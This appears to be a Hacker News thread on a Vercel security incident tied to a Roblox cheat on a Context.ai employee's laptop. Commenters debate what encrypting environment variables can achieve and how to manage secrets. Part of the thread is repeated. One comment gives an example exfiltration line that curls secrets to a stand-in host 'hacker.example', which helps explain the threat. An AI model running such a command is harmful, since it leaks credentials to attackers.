I think this is wrong about what “sensitive” means here. AFAIK, all Vercel env cars are encrypted. The sensitive checkbox means that a develop looking at the env var can’t see what value is stored there. It’s a write-only value. Only the app can see it, via an env var (which obviously can’t be encrypted in such a way that the app can’t see it, otherwise it’d be worthless). If you don’t check that box, you can view the value in the project UI. That’s reasonable for most config values. Imagine “DEFAULT_TIME_ZONE” or such. There’s nothing gained from hiding it, and it’d be a pain in the ass come troubleshooting time.
So sensitive doesn’t mean encrypted. It means the UI doesn’t show the dev what value’s stored there after they’ve updated it. Not sensitive means it’s still visible. And again, I presume this is only a UI thing, and both kinds are stored encrypted in the backend.
I don’t work for Vercel, but I’ve use them a bit. I’m sure there are valid reasons to dislike them, but this specific bit looks like a strawman.
> Only the app can see it, via an env var (which obviously can’t be encrypted in such a way that the app can’t see it, otherwise it’d be worthless)
Yeah, I'm very confused. It's not possible to encrypt env vars that the program needs; even if it's encrypted at rest, it needs to be decrypted anyway before starting the program. Env vars are injected as plain text. This is just how this works, nothing to do with Vercel.
This situation could some day improve with fully homomorphic encryption (so the server operates with encrypted data without ever decrypting it), but that would have very high overhead for the entire program. It's not realistic (yet)
You always get people screaming about 'it should have been encrypted!' when there's a leak without understanding what encryption can and can't do in principle and in practice (it most certainly isn't a synonym for 'secure' or 'safe').
Also if you want to keep a secret a secret forever, encrypted but saved data may be easily decrypted in the future. Most secrets though in reality are less useful in X years time.
Where I work we started using Vault and you store the vault key (as in looup key) in as a regular non-hidden env var. I think this is probably more solid.
I don't want to do the easy finger-pointing and scapegoating but honestly, what should happen to the Context.ai employee that thought it was a good idea to play games in their work machine and, on top of that, install cheats which are by definition of dubious provenance? I know defense in depth, security layers etc etc but there is also some personal responsibility at play here. We can chalk up the Vercel's employee mistake to a defense in depth failure that's on the whole company and management, but installing a cheat...
Let’s just say that OpSec at companies adopting AI is low across the board because security just isn’t a deciding feature at the moment. See McDonalds breach 2 years ago
As somebody who tried selling cybersecurity software: Cyber-related OpSec is bad in most companies, AI or not. If effort and budget is allocated to it at all it's usually to a box-checking exercise that is about optics, liability and staying eligible for insurance payouts
Heck, not giving the person Admin privileges would have sufficed to prevent this. Or better hiring preventing people who install Roblox cheats on work devices...
There is no excuse and no fine line here. Even outside them boasting about SOC 2 Type II, this would be embarrassing for an SME not in the tech sector.
Any security team that gives unrestricted admin privileges to random employees is not a security team. So doing the most basic parts of their job, that would be my proposal.
If specific to my hiring comment, was meant a bit facetious, though I will point out this line in their "compliance" report by "auditor" Delve:
> The organization carries out background and/or reference checks on all new employees and contractors prior to joining in accordance with relevant laws, regulations and ethics. Management utilizes a pre-hire checklist to ensure the hiring manager has assessed the qualification of candidates to confirm they can perform the necessary job requirements.
Maybe those pre-hire checklists should include a question like "Are you a massive idiot, who'd install a game on their work computer, then on top of that be the type of idiot who likes to cheat, then on top of that be the type of idiot to install cheats on your work computer?", maybe that'd prevent this in the future. Or again, just don't give everyone Admin privileges...
I believe this is inaccurate. Vercel env vars are all encrypted at rest (on their side). The 'sensitive' checkbox means you can't retrieve the value once it's set, which would have saved your ass in this case. Also, annoying to read an article like this without a single link to source material.
They said "encrypted at rest", which they almost certainly are.
If you spin up an EC2 instance with an ftp server and check the "Encrypt my EBS volume" checkbox, all those files are 'encrypted at rest', but if your ftp password is 'admin/admin', your files will be exposed in plaintext quite quickly.
Vercel's backend is of course able to decrypt them too (or else it couldn't run your app for you), and so the attacker was able to view them, and presumably some other control on the backend made it so the sensitive ones can end up in your app, but can't be seen in whatever employee-only interface the attacker was viewing.
How do you use them if you don't decrypt them? At some point you have to see them in plaintext. Even if they are sensitive and not shown in the UI you can still start an app and curl https://hacker.example/$my_encrypted_var to exfiltrate them.
What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?
dotenvx is a way to encrypt your secrets at rest. It's kinda like sops but not as good. https://getsops.io/
Notice how their tutorial says "run 'dotenvx run -- yourapp'". If you did 'dotenvx run -- env', all your secrets would be printed right there in plaintext, at runtime, since they're just encrypted at rest.
The equivalent in vercel would be encrypted in the database (the encrypted '.env' file), with a decryption key in the backend (the '.env.keys' file by default in dotenvx) used to show them in the frontend and decrypt them for running apps.
If a company says “encrypted at rest” that is generally compliance-speak for “not encrypted, but the hard drive partition is encrypted”.
Various certifications require this, I guess because they were written before hyper scalers and the assumed attack vector was that someone would literally steal a hard drive.
A running machine is not “at rest”, just like you can read files on your encrypted Mac HDD, the running program has decrypted access to the hard drive.
"encrypted at rest" is great to guard against stolen laptops, or in the server room both against people breaking in and stealing servers (unlikely at the security level of most hyperscalers, but possible) or more commonly broken HDDs being improperly disposed
How does that transalte to VMs? If "encryption at rest" is done at the guest level, instead of (or in addition to) host, that would be pretty close to minimal "encrypted except when it use" time and protect against virtual equivalents of pulling a hard drive out of a data center.
They need to give your app the environment variables later so they cannot throw away the key.
For non-sensitive environment variables, they also show you the value in the dashboard so you can check and edit them later.
Things like 'NODE_ENV=production' vs 'NODE_ENV=development' is probably something the user wants to see, so that's another argument for letting the backend decrypt and display those values even ignoring the "running your app" part.
You're welcome to add an input that goes straight to '/dev/null' if you want, but it's not exactly a useful feature.
This looks really really AI-generated even if the author did try to hide it by making some grammar elements improper. Idk if that diminishes it's accuracy though.
I don't know why you are downvoted. The article is AI blogspam, it doesn't have any more factual information than eg https://www.darkreading.com/application-security/vercel-empl... and is full of empty LLMisms. It's depressing people are willing to read this.
That article you linked to didn't mention that Context.ai, from where this mess originated, is a YCombinator company. Most probably its founders are on this very web-forum.
It's absolutely LLM prose, though not all of it. Maybe the author rewrote parts.
The thing that concerns me is that even at a site like HN, where a lot of people are very familiar with LLMs, it seems to be passing.
I hate to think this will become the norm but it's not the first HN linked post that's gotten a lot of earnest engagement despite being AI generated (or partly AI generated).
I'm very comfortable with AI generated code, if the humans involved are doing due diligence, but I really dislike the idea of LLM generated prose taking over more and more of the front page.
Of course it will be new normal. Even worse in few years you will be writing yourself AI-like prose cause of all of that AI written article and news that you read, will cause silently for you to adopt that style. In few more years barely anybody will be able to write coherent statements themselves without help of LLM :)
And I thought it was bad when my son got compromised by a Roblox cheat, but they only they grabbed his Gamepass cookies and bought 4 Minecraft licenses, which MS quickly refunded...
> How many developers do you think knew that checkbox existed? How many assumed their database credentials and API keys were encrypted by default?
If I don't see asterisks, I'm not hitting save on the field with a secret in it. Maybe they were setting them programmatically? They should definitely still be looking to pass some kind of a secret flag, though. This is a weird problem for a company like Vercel to have.
But the encrypted API key doesn't work, it needs to be decrypted first. Let's give the server access to the private key so it can decrypt the API key. We can do this by putting the private key in an env var. But now the private key is unencrypted. Ah, it doesn't work.
Do you ask a bridge engineer if they forgot to reinforce the supports when they built the bridge? Even when I didn't know about security this was a table stakes thing. People saving sensitive things in plaintext are upset that their poor practices came back to bite them. Now, at the risk of sounding like I'm victim blaming here, Vercel is also totally bearing some responsibility for this insanity. But come on. FAFO and all that.
Odd, they used Delve [0] and a SOC2 compliant company like Context.ai [1] should have an AUP, EDR, etc. that prevents their employees from installing a Roblox cheat on their work computer. Heck, even outside SOC2, I have never worked at a company without endpoint restrictions to prevent unauthorised installs.
It's almost like the denials were in fact false and Delve truly was just selling a sticker, not providing an actual service.
If I were a VC that had funded Delve for a considerable amount of time, I'd be embarrassed that we did not catch that. I'd probably rework my processes, publicly analyse how this alleged fraud got past me and go far and beyond in disclosing my findings to rebuild trust. I'd most certainly not think just cutting funding is sufficient given the situation. Even more so if I'd encouraged other companies funded by me to use their "services". I'd maybe even reevaluate whether a circular approach wherein our funded companies are incentivised to rely on other also by us funded companies leads to the best options being chosen and whether that isn't antithetical to a forward thinking environment and competition. At the same time, I'd also think that maybe such a setup just hides unsuccessful companies and potentially even alleged fraud which once it gets to the broader market, may cause significant harm...
I can see how this happened: the employee was home, his kid wanted to play some roblox, he installed roblox and gave the kid the laptop, the kid decided to install the cheat.
Something has gone screwy with the timestamps on this page... They're saying they were posted "in 8 hours", "in a day", then the last one is "an hour ago"
It's still showing a time in the future, which only makes sense if there is some kind of error with the server time or some kind of weird timezone conversion gone wrong
Clearly, Vercel should not have been compromised by this. I don't know who Context.ai is but I do know Vercel and I expected better from them. I also think we can expect to see a lot more stories like this.
I don't see storing non-sensitive environment variables unencrypted as the main issue here. Sure at vercels scale, encryption at rest for any data would add some better baseline, but i see this article as two major user interface fails more than anything else. Oauth dialogs are just pathetic, they are years behind what is required and what UX research knows how to do things, none of the companies invested any amount of resources into it after it just worked well enough not to make most users churn. The env var problem is also ridiculous, you can only update, not see and check values in the interface if they are encrypted for most providers i know, that leads to really annoying UX and is the reason they are not marked as sensitive by default and opt out. Even if you could unlock them to edit, no one will enter their password again as that is too much hassle, meaning we need a way to read and edit encrypted env vars in the interface where they are created but not have more in the way than a passkey dialog. Its doable but afaik no provider would go the extra mile to get to this UX.
(Of course there are tons of other red flags not looked at in the article, eg. how does an employees machine get access to production systems and from there access to customers connected with oauth and how does the attacker get to env vars from a google workspace account)
According to the email I got from Vercel it was a limited subset of customers and I'm not one:
Initially, we identified a limited subset of customers whose Vercel credentials were compromised. We reached out to that subset and recommended that they rotate their credentials immediately.
At this time, we do not have reason to believe that your Vercel credentials or personal data have been compromised.
We'll keep dangerous devices like the SuperBox in our homes, if it helps us get access to free movies and tv.
We'll use single-use plastics, even if we know they're bad for the environment, because they're just so damn easy.
We'll let AI run that thing for us, because it's just too easy.
A whole generation has grown up without knowing what it was like to infect your computer with AIDS trying to download an MP3, and it shows. That caution will come back, just at a terrible cost.
More generically, our species' Achilles heel is our inability to factor in the long-term cost of negative externalities when evaluating processes that yield short-term positive results.
This. From simple personal choices to the marker economy and politics. With games we're introduced to cheat codes pretty early in our lives. Some people outgrow them, some don't. Too bad our systems encourage their use, whether it's a time-to-market thing, cutting costs, or the next election.
I think this is wrong about what “sensitive” means here. AFAIK, all Vercel env cars are encrypted. The sensitive checkbox means that a develop looking at the env var can’t see what value is stored there. It’s a write-only value. Only the app can see it, via an env var (which obviously can’t be encrypted in such a way that the app can’t see it, otherwise it’d be worthless). If you don’t check that box, you can view the value in the project UI. That’s reasonable for most config values. Imagine “DEFAULT_TIME_ZONE” or such. There’s nothing gained from hiding it, and it’d be a pain in the ass come troubleshooting time.
So sensitive doesn’t mean encrypted. It means the UI doesn’t show the dev what value’s stored there after they’ve updated it. Not sensitive means it’s still visible. And again, I presume this is only a UI thing, and both kinds are stored encrypted in the backend.
I don’t work for Vercel, but I’ve use them a bit. I’m sure there are valid reasons to dislike them, but this specific bit looks like a strawman.
> Only the app can see it, via an env var (which obviously can’t be encrypted in such a way that the app can’t see it, otherwise it’d be worthless)
Yeah, I'm very confused. It's not possible to encrypt env vars that the program needs; even if it's encrypted at rest, it needs to be decrypted anyway before starting the program. Env vars are injected as plain text. This is just how this works, nothing to do with Vercel.
This situation could some day improve with fully homomorphic encryption (so the server operates with encrypted data without ever decrypting it), but that would have very high overhead for the entire program. It's not realistic (yet)
You always get people screaming about 'it should have been encrypted!' when there's a leak without understanding what encryption can and can't do in principle and in practice (it most certainly isn't a synonym for 'secure' or 'safe').
Encryption turns your data confidentiality problem into a key management problem.
Also if you want to keep a secret a secret forever, encrypted but saved data may be easily decrypted in the future. Most secrets though in reality are less useful in X years time.
Theoretically maybe, but there's no indication that a quantum-resistant algorithm can't encrypt something that's secure for the coming million+ years.
Whenever someone says "But it should have been encrypted!" about things like configs on a server, I ask them how they'd implement that in practice.
PoC or GTFO.
I think you'll find it's a bit harder to do than you expect.
Where I work we started using Vault and you store the vault key (as in looup key) in as a regular non-hidden env var. I think this is probably more solid.
I don't know how it works on Vercel, but on other platforms it usually means that the value will be redacted in logs as well.
This is also how other cloud providers do it, eg DigitalOcean.
I don't want to do the easy finger-pointing and scapegoating but honestly, what should happen to the Context.ai employee that thought it was a good idea to play games in their work machine and, on top of that, install cheats which are by definition of dubious provenance? I know defense in depth, security layers etc etc but there is also some personal responsibility at play here. We can chalk up the Vercel's employee mistake to a defense in depth failure that's on the whole company and management, but installing a cheat...
Let’s just say that OpSec at companies adopting AI is low across the board because security just isn’t a deciding feature at the moment. See McDonalds breach 2 years ago
As somebody who tried selling cybersecurity software: Cyber-related OpSec is bad in most companies, AI or not. If effort and budget is allocated to it at all it's usually to a box-checking exercise that is about optics, liability and staying eligible for insurance payouts
Right, and adding the shifting sands of AI security just makes it worse. AI isn't a technology that's improving security.
good joob
Right? This isn't "A Roblox cheat and an AI tool", this is a failure of basic basic basic opsec across two organisations.
One for which the Context.ai employee needs to have their arse booted up and down the car park for.
What about the context.ai security team?
You can blame individuals, but security is a property of the system.
It’s a very fine line. How do you check if people adhere to policies and at the same time don’t monitor them permanently?
Endpoint Detection and Response?
Heck, not giving the person Admin privileges would have sufficed to prevent this. Or better hiring preventing people who install Roblox cheats on work devices...
There is no excuse and no fine line here. Even outside them boasting about SOC 2 Type II, this would be embarrassing for an SME not in the tech sector.
OP was talking about the security team. Not sure what you are proposing?
Do you want to let any applicant be screened by the security team?
Any security team that gives unrestricted admin privileges to random employees is not a security team. So doing the most basic parts of their job, that would be my proposal.
If specific to my hiring comment, was meant a bit facetious, though I will point out this line in their "compliance" report by "auditor" Delve:
> The organization carries out background and/or reference checks on all new employees and contractors prior to joining in accordance with relevant laws, regulations and ethics. Management utilizes a pre-hire checklist to ensure the hiring manager has assessed the qualification of candidates to confirm they can perform the necessary job requirements.
Maybe those pre-hire checklists should include a question like "Are you a massive idiot, who'd install a game on their work computer, then on top of that be the type of idiot who likes to cheat, then on top of that be the type of idiot to install cheats on your work computer?", maybe that'd prevent this in the future. Or again, just don't give everyone Admin privileges...
I believe this is inaccurate. Vercel env vars are all encrypted at rest (on their side). The 'sensitive' checkbox means you can't retrieve the value once it's set, which would have saved your ass in this case. Also, annoying to read an article like this without a single link to source material.
I think it's clear that some customers env vars got exposed, so that can only mean unencrypted, right?
They said "encrypted at rest", which they almost certainly are.
If you spin up an EC2 instance with an ftp server and check the "Encrypt my EBS volume" checkbox, all those files are 'encrypted at rest', but if your ftp password is 'admin/admin', your files will be exposed in plaintext quite quickly.
Vercel's backend is of course able to decrypt them too (or else it couldn't run your app for you), and so the attacker was able to view them, and presumably some other control on the backend made it so the sensitive ones can end up in your app, but can't be seen in whatever employee-only interface the attacker was viewing.
Hmm, that's confusing. So they're eventually encrypted but plain-text at some point? Doesn't sound good TBH.
How do you use them if you don't decrypt them? At some point you have to see them in plaintext. Even if they are sensitive and not shown in the UI you can still start an app and curl https://hacker.example/$my_encrypted_var to exfiltrate them.
What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?
Yeah that's a good point. Dotenvx seems to claim a solution but I'm not smart enough to make sense of it.
However I do feel now like my sensitive things are better off deployed on a VPS where someone would need a ssh exploit to come at me.
dotenvx is a way to encrypt your secrets at rest. It's kinda like sops but not as good. https://getsops.io/
Notice how their tutorial says "run 'dotenvx run -- yourapp'". If you did 'dotenvx run -- env', all your secrets would be printed right there in plaintext, at runtime, since they're just encrypted at rest.
The equivalent in vercel would be encrypted in the database (the encrypted '.env' file), with a decryption key in the backend (the '.env.keys' file by default in dotenvx) used to show them in the frontend and decrypt them for running apps.
Exactly. How do you play back the encrypted DVD without having the decryption key right there on the player for everyone to find?
If a company says “encrypted at rest” that is generally compliance-speak for “not encrypted, but the hard drive partition is encrypted”.
Various certifications require this, I guess because they were written before hyper scalers and the assumed attack vector was that someone would literally steal a hard drive.
A running machine is not “at rest”, just like you can read files on your encrypted Mac HDD, the running program has decrypted access to the hard drive.
"encrypted at rest" is great to guard against stolen laptops, or in the server room both against people breaking in and stealing servers (unlikely at the security level of most hyperscalers, but possible) or more commonly broken HDDs being improperly disposed
How does that transalte to VMs? If "encryption at rest" is done at the guest level, instead of (or in addition to) host, that would be pretty close to minimal "encrypted except when it use" time and protect against virtual equivalents of pulling a hard drive out of a data center.
There isn't really a way around it.
Run your own servers so the .env isn't shared with your hosting provider?
There is -- you can expose a UNIX socket for serving credentials and allow access to it only from a whitelist of systemd services.
That works on a single persistent box, but unfortunately, that means giving up on autoscaling, which is not so nice for cloud applications.
They would still exist in plaintext, just the permissions would make it a little harder to access.
It seems only encrypt and throw away the key would be the acceptable strategy
They need to give your app the environment variables later so they cannot throw away the key.
For non-sensitive environment variables, they also show you the value in the dashboard so you can check and edit them later.
Things like 'NODE_ENV=production' vs 'NODE_ENV=development' is probably something the user wants to see, so that's another argument for letting the backend decrypt and display those values even ignoring the "running your app" part.
You're welcome to add an input that goes straight to '/dev/null' if you want, but it's not exactly a useful feature.
> You're welcome to add an input that goes straight to '/dev/null' if you want, but it's not exactly a useful feature.
Piping to /dev/null is of course pointless.
What you really want is the /dev/null as a Service Enterprise plan for $500/month with its High Availability devnull Cluster ;)
https://devnull-as-a-service.com/pricing/
Env vars are not secure. Anything that has root access can see all env vars of all applications via /proc.
(And modern Linux is unusable without root access, thanks to Docker and other fast-and-loose approaches.)
How often do you log in as root, or use sudo to become root, when you're working with Docker containers?
Because I never do, unless I'm down in the depths of /var/lib/docker doing stuff I shouldn't.
This looks really really AI-generated even if the author did try to hide it by making some grammar elements improper. Idk if that diminishes it's accuracy though.
I don't know why you are downvoted. The article is AI blogspam, it doesn't have any more factual information than eg https://www.darkreading.com/application-security/vercel-empl... and is full of empty LLMisms. It's depressing people are willing to read this.
I didn't notice till I saw this comment and now I'm also confident it's significantly AI written.
Because a comment that just says it's AI generated provides no value to the readers. They could at least provide an alternative link like you did.
It does provide value in that I know I shouldn't read it. It's clearly LLM written after a few glances.
That article you linked to didn't mention that Context.ai, from where this mess originated, is a YCombinator company. Most probably its founders are on this very web-forum.
The author’s site is on Vercel.
So I believe the author has exposure to the issue and interest in understanding it, that’s more than AI alone has got.
It's absolutely LLM prose, though not all of it. Maybe the author rewrote parts.
The thing that concerns me is that even at a site like HN, where a lot of people are very familiar with LLMs, it seems to be passing.
I hate to think this will become the norm but it's not the first HN linked post that's gotten a lot of earnest engagement despite being AI generated (or partly AI generated).
I'm very comfortable with AI generated code, if the humans involved are doing due diligence, but I really dislike the idea of LLM generated prose taking over more and more of the front page.
Of course it will be new normal. Even worse in few years you will be writing yourself AI-like prose cause of all of that AI written article and news that you read, will cause silently for you to adopt that style. In few more years barely anybody will be able to write coherent statements themselves without help of LLM :)
I thought the same. Normal people don’t write that way.
Soon they will!
A frigging Roblox cheat...
And I thought it was bad when my son got compromised by a Roblox cheat, but they only they grabbed his Gamepass cookies and bought 4 Minecraft licenses, which MS quickly refunded...
Yeah, I'm curious why a game cheat is allowed to run in the first place. Do these companies not have device controls, or do they just not care?
Feels like the employee pulled a LastPass Plex move.
This essentially means that Vercel got hacked by a bunch of teenage script kiddies. Though on the positive side, we'll probably see some arrests soon.
Failed to verify my iphone browser…. But my claw could read it and text me the contents. The web is turning silly…
> How many developers do you think knew that checkbox existed? How many assumed their database credentials and API keys were encrypted by default?
If I don't see asterisks, I'm not hitting save on the field with a secret in it. Maybe they were setting them programmatically? They should definitely still be looking to pass some kind of a secret flag, though. This is a weird problem for a company like Vercel to have.
You pretty much have to assume someone is going to put sensitive data in an input like this. Encryption by default is the only sensible choice.
But the encrypted API key doesn't work, it needs to be decrypted first. Let's give the server access to the private key so it can decrypt the API key. We can do this by putting the private key in an env var. But now the private key is unencrypted. Ah, it doesn't work.
Do you ask a bridge engineer if they forgot to reinforce the supports when they built the bridge? Even when I didn't know about security this was a table stakes thing. People saving sensitive things in plaintext are upset that their poor practices came back to bite them. Now, at the risk of sounding like I'm victim blaming here, Vercel is also totally bearing some responsibility for this insanity. But come on. FAFO and all that.
I'm getting a "failed to verify your browser" error on this article
And, ironically, it's hosted on vercel :D
Odd, they used Delve [0] and a SOC2 compliant company like Context.ai [1] should have an AUP, EDR, etc. that prevents their employees from installing a Roblox cheat on their work computer. Heck, even outside SOC2, I have never worked at a company without endpoint restrictions to prevent unauthorised installs.
It's almost like the denials were in fact false and Delve truly was just selling a sticker, not providing an actual service.
If I were a VC that had funded Delve for a considerable amount of time, I'd be embarrassed that we did not catch that. I'd probably rework my processes, publicly analyse how this alleged fraud got past me and go far and beyond in disclosing my findings to rebuild trust. I'd most certainly not think just cutting funding is sufficient given the situation. Even more so if I'd encouraged other companies funded by me to use their "services". I'd maybe even reevaluate whether a circular approach wherein our funded companies are incentivised to rely on other also by us funded companies leads to the best options being chosen and whether that isn't antithetical to a forward thinking environment and competition. At the same time, I'd also think that maybe such a setup just hides unsuccessful companies and potentially even alleged fraud which once it gets to the broader market, may cause significant harm...
[0] https://web.archive.org/web/20250918025724/https://trust.del...
[1] https://web.archive.org/web/20260217220817/https://www.conte...
Very ironically, they seem to have upped their game. Trying to read TFA on an older version of firefox gives me the lovely message:
Failed to verify your browser Code 11 Vercel Security Checkpoint, arn1::1776759703-rtDgRAtRyXvjD4IoU4RbqvkGmvQQCP7H
Gah.
I can see how this happened: the employee was home, his kid wanted to play some roblox, he installed roblox and gave the kid the laptop, the kid decided to install the cheat.
Something has gone screwy with the timestamps on this page... They're saying they were posted "in 8 hours", "in a day", then the last one is "an hour ago"
Last edit maybe? It is so annoying when sites don't publish the original timestamp.
It's still showing a time in the future, which only makes sense if there is some kind of error with the server time or some kind of weird timezone conversion gone wrong
Can confirm, in 6 hours.
Context.ai seems like it was the SPOF. By definition it has a lot of your data, and they didn’t secure it properly.
Clearly, Vercel should not have been compromised by this. I don't know who Context.ai is but I do know Vercel and I expected better from them. I also think we can expect to see a lot more stories like this.
I don't see storing non-sensitive environment variables unencrypted as the main issue here. Sure at vercels scale, encryption at rest for any data would add some better baseline, but i see this article as two major user interface fails more than anything else. Oauth dialogs are just pathetic, they are years behind what is required and what UX research knows how to do things, none of the companies invested any amount of resources into it after it just worked well enough not to make most users churn. The env var problem is also ridiculous, you can only update, not see and check values in the interface if they are encrypted for most providers i know, that leads to really annoying UX and is the reason they are not marked as sensitive by default and opt out. Even if you could unlock them to edit, no one will enter their password again as that is too much hassle, meaning we need a way to read and edit encrypted env vars in the interface where they are created but not have more in the way than a passkey dialog. Its doable but afaik no provider would go the extra mile to get to this UX.
(Of course there are tons of other red flags not looked at in the article, eg. how does an employees machine get access to production systems and from there access to customers connected with oauth and how does the attacker get to env vars from a google workspace account)
According to the email I got from Vercel it was a limited subset of customers and I'm not one:
Initially, we identified a limited subset of customers whose Vercel credentials were compromised. We reached out to that subset and recommended that they rotate their credentials immediately.
At this time, we do not have reason to believe that your Vercel credentials or personal data have been compromised.
That parentset was just you.
Feels like the bigger issue here is how much implicit trust we’re starting to place in these AI-integrated workflows.
Tools that sit in the middle (like Context.ai) end up becoming a pretty large attack surface without feeling like one.
good article, these AI products are crazy supply chain risks.
Convenience is our Achilles heel, as a society.
We'll keep dangerous devices like the SuperBox in our homes, if it helps us get access to free movies and tv.
We'll use single-use plastics, even if we know they're bad for the environment, because they're just so damn easy.
We'll let AI run that thing for us, because it's just too easy.
A whole generation has grown up without knowing what it was like to infect your computer with AIDS trying to download an MP3, and it shows. That caution will come back, just at a terrible cost.
> Convenience is our Achilles heel
More generically, our species' Achilles heel is our inability to factor in the long-term cost of negative externalities when evaluating processes that yield short-term positive results.
This. From simple personal choices to the marker economy and politics. With games we're introduced to cheat codes pretty early in our lives. Some people outgrow them, some don't. Too bad our systems encourage their use, whether it's a time-to-market thing, cutting costs, or the next election.
When life gives you AIDS, make lemonAIDS!
Related:
Vercel April 2026 security incident
https://news.ycombinator.com/item?id=47824463
This article is LLM authored and full of hallucinations. "Let that sink in for a second."